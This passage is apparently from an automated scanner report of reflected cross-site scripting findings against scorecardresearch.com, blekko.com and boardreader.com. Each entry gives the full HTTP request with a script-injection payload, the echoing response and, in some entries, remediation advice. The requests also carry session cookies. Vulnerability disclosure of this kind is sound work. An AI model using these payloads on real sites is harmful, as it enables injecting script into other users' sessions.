GET /beacon.js?c1=39fb5f<script>alert(1)</script>bb7775bca59&c2=6035338&c3=5070033&c4=40443113&c5=59067898&c6=& HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://ad-emea.doubleclick.net/adi/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=;ord=1296659628? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Wed, 09 Feb 2011 15:31:53 GMT Date: Wed, 02 Feb 2011 15:31:53 GMT Connection: close Content-Length: 3603
The value of the c2 request parameter is copied into the HTML document as plain text between tags. The payload a97d8<script>alert(1)</script>9a0c4e010c5 was submitted in the c2 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=3&c2=6035338a97d8<script>alert(1)</script>9a0c4e010c5&c3=5070033&c4=40443113&c5=59067898&c6=& HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://ad-emea.doubleclick.net/adi/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=;ord=1296659628? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Wed, 09 Feb 2011 15:31:53 GMT Date: Wed, 02 Feb 2011 15:31:53 GMT Connection: close Content-Length: 3603
The value of the c3 request parameter is copied into the HTML document as plain text between tags. The payload 29d7a<script>alert(1)</script>1b41605cfe3 was submitted in the c3 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=3&c2=6035338&c3=507003329d7a<script>alert(1)</script>1b41605cfe3&c4=40443113&c5=59067898&c6=& HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://ad-emea.doubleclick.net/adi/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=;ord=1296659628? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Wed, 09 Feb 2011 15:31:54 GMT Date: Wed, 02 Feb 2011 15:31:54 GMT Connection: close Content-Length: 3603
The value of the c4 request parameter is copied into the HTML document as plain text between tags. The payload 950d1<script>alert(1)</script>79857982068 was submitted in the c4 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=3&c2=6035338&c3=5070033&c4=40443113950d1<script>alert(1)</script>79857982068&c5=59067898&c6=& HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://ad-emea.doubleclick.net/adi/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=;ord=1296659628? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Wed, 09 Feb 2011 15:31:54 GMT Date: Wed, 02 Feb 2011 15:31:54 GMT Connection: close Content-Length: 3603
The value of the c5 request parameter is copied into the HTML document as plain text between tags. The payload 9641e<script>alert(1)</script>c02414cca98 was submitted in the c5 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=3&c2=6035338&c3=5070033&c4=40443113&c5=590678989641e<script>alert(1)</script>c02414cca98&c6=& HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://ad-emea.doubleclick.net/adi/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=;ord=1296659628? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Wed, 09 Feb 2011 15:31:54 GMT Date: Wed, 02 Feb 2011 15:31:54 GMT Connection: close Content-Length: 3603
The value of the c6 request parameter is copied into the HTML document as plain text between tags. The payload 7176f<script>alert(1)</script>cc305f915b3 was submitted in the c6 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=3&c2=6035338&c3=5070033&c4=40443113&c5=59067898&c6=7176f<script>alert(1)</script>cc305f915b3& HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://ad-emea.doubleclick.net/adi/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=;ord=1296659628? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Wed, 09 Feb 2011 15:31:55 GMT Date: Wed, 02 Feb 2011 15:31:55 GMT Connection: close Content-Length: 3603
The value of the query request parameter is copied into the HTML document as plain text between tags. The payload def48<script>alert(1)</script>a050df307b6 was submitted in the query parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /autocomplete?query=xdef48<script>alert(1)</script>a050df307b6 HTTP/1.1 Host: blekko.com Proxy-Connection: keep-alive Referer: http://blekko.com/ X-Requested-With: XMLHttpRequest Accept: text/plain, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: fbl=2; v=1; sessionid=352926924
The value of the term request parameter is copied into the HTML document as plain text between tags. The payload d17f0<script>alert(1)</script>b1b056eeebb was submitted in the term parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /autocomplete?term={searchTerms}d17f0<script>alert(1)</script>b1b056eeebb&lang={language?}&form=opensearch HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924; fbl=2;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Feb 2011 19:41:04 GMT Content-Type: text/plain; charset=utf-8 Connection: close Cache-Control: max-age=43200 Expires: Thu, 03 Feb 2011 07:41:04 GMT Vary: Accept-Encoding Content-Length: 58 X-Blekko-PT: 9997f158d202984eeb76c315478564b1
4.82. http://boardreader.com/domain/2mdn.net/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/2mdn.net/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebef7"><script>alert(1)</script>6f696982a6d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domain/2mdn.net/x22?ebef7"><script>alert(1)</script>6f696982a6d=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 19:18:59 GMT Server: Apache Pragma: Cache-Control: no-store, max-age=21600 Expires: Thu, 03 Feb 2011 01:19:01 +0000 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <a class="fp_adv" href="/a/2mdn.net%2Fx22?ebef7"><script>alert(1)</script>6f696982a6d=1"> ...[SNIP]...
4.83. http://boardreader.com/domain/2mdn.net/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/2mdn.net/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b358d'-alert(1)-'f4b7b9879fc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domain/2mdn.net/x22?b358d'-alert(1)-'f4b7b9879fc=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 19:19:53 GMT Server: Apache Pragma: Cache-Control: no-store, max-age=21600 Expires: Thu, 03 Feb 2011 01:19:54 +0000 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <script>
var ACTIVE_GRAPH_GROUP = 'day'; var ACTIVE_GRAPH_URL = '/linksGraphXML.php?a=domain&q=2mdn.net%2Fx22&b358d'-alert(1)-'f4b7b9879fc=1&p=30&d=1288898394&b=0&g=&x=1'; var selectedLinkGraph = 'graph3Months';
if (selectedLinkGraph == 'graphDay' ) selectedLinkGraph = 'g ...[SNIP]...
4.84. http://boardreader.com/domain/aol.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/aol.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 94a63'-alert(1)-'782a59af270 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domain/aol.com?94a63'-alert(1)-'782a59af270=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:02:03 GMT Server: Apache Expires: Thu, 03 Feb 2011 13:02:10 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <script>
var ACTIVE_GRAPH_GROUP = 'day'; var ACTIVE_GRAPH_URL = '/linksGraphXML.php?a=domain&q=aol.com&94a63'-alert(1)-'782a59af270=1&p=30&d=1288940530&b=0&g=&x=1'; var selectedLinkGraph = 'graph3Months';
if (selectedLinkGraph == 'graphDay' ) selectedLinkGraph = 'g ...[SNIP]...
4.85. http://boardreader.com/domain/aol.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/aol.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0e75"><script>alert(1)</script>f6043616387 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domain/aol.com?f0e75"><script>alert(1)</script>f6043616387=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:01:40 GMT Server: Apache Expires: Thu, 03 Feb 2011 13:01:45 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <a class="fp_adv" href="/a/aol.com?f0e75"><script>alert(1)</script>f6043616387=1"> ...[SNIP]...
4.86. http://boardreader.com/domain/cafemom.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/cafemom.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3c3d7'-alert(1)-'2f4ee664641 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domain/cafemom.com?3c3d7'-alert(1)-'2f4ee664641=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:52:45 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:52:47 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <script>
var ACTIVE_GRAPH_GROUP = 'day'; var ACTIVE_GRAPH_URL = '/linksGraphXML.php?a=domain&q=cafemom.com&3c3d7'-alert(1)-'2f4ee664641=1&p=30&d=1288939967&b=0&g=&x=1'; var selectedLinkGraph = 'graph3Months';
if (selectedLinkGraph == 'graphDay' ) selectedLinkGraph = 'g ...[SNIP]...
4.87. http://boardreader.com/domain/cafemom.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/cafemom.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f3ee"><script>alert(1)</script>40468857845 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domain/cafemom.com?4f3ee"><script>alert(1)</script>40468857845=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 06:52:05 GMT Server: Apache Expires: Thu, 03 Feb 2011 12:52:18 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="verif ...[SNIP]... <a class="fp_adv" href="/a/cafemom.com?4f3ee"><script>alert(1)</script>40468857845=1"> ...[SNIP]...
4.88. http://boardreader.com/domain/myegy.com [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/domain/myegy.com
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c1683'-alert(1)-'aae0d7e564f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domain/myegy.com?c1683'-alert(1)-'aae0d7e564f=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
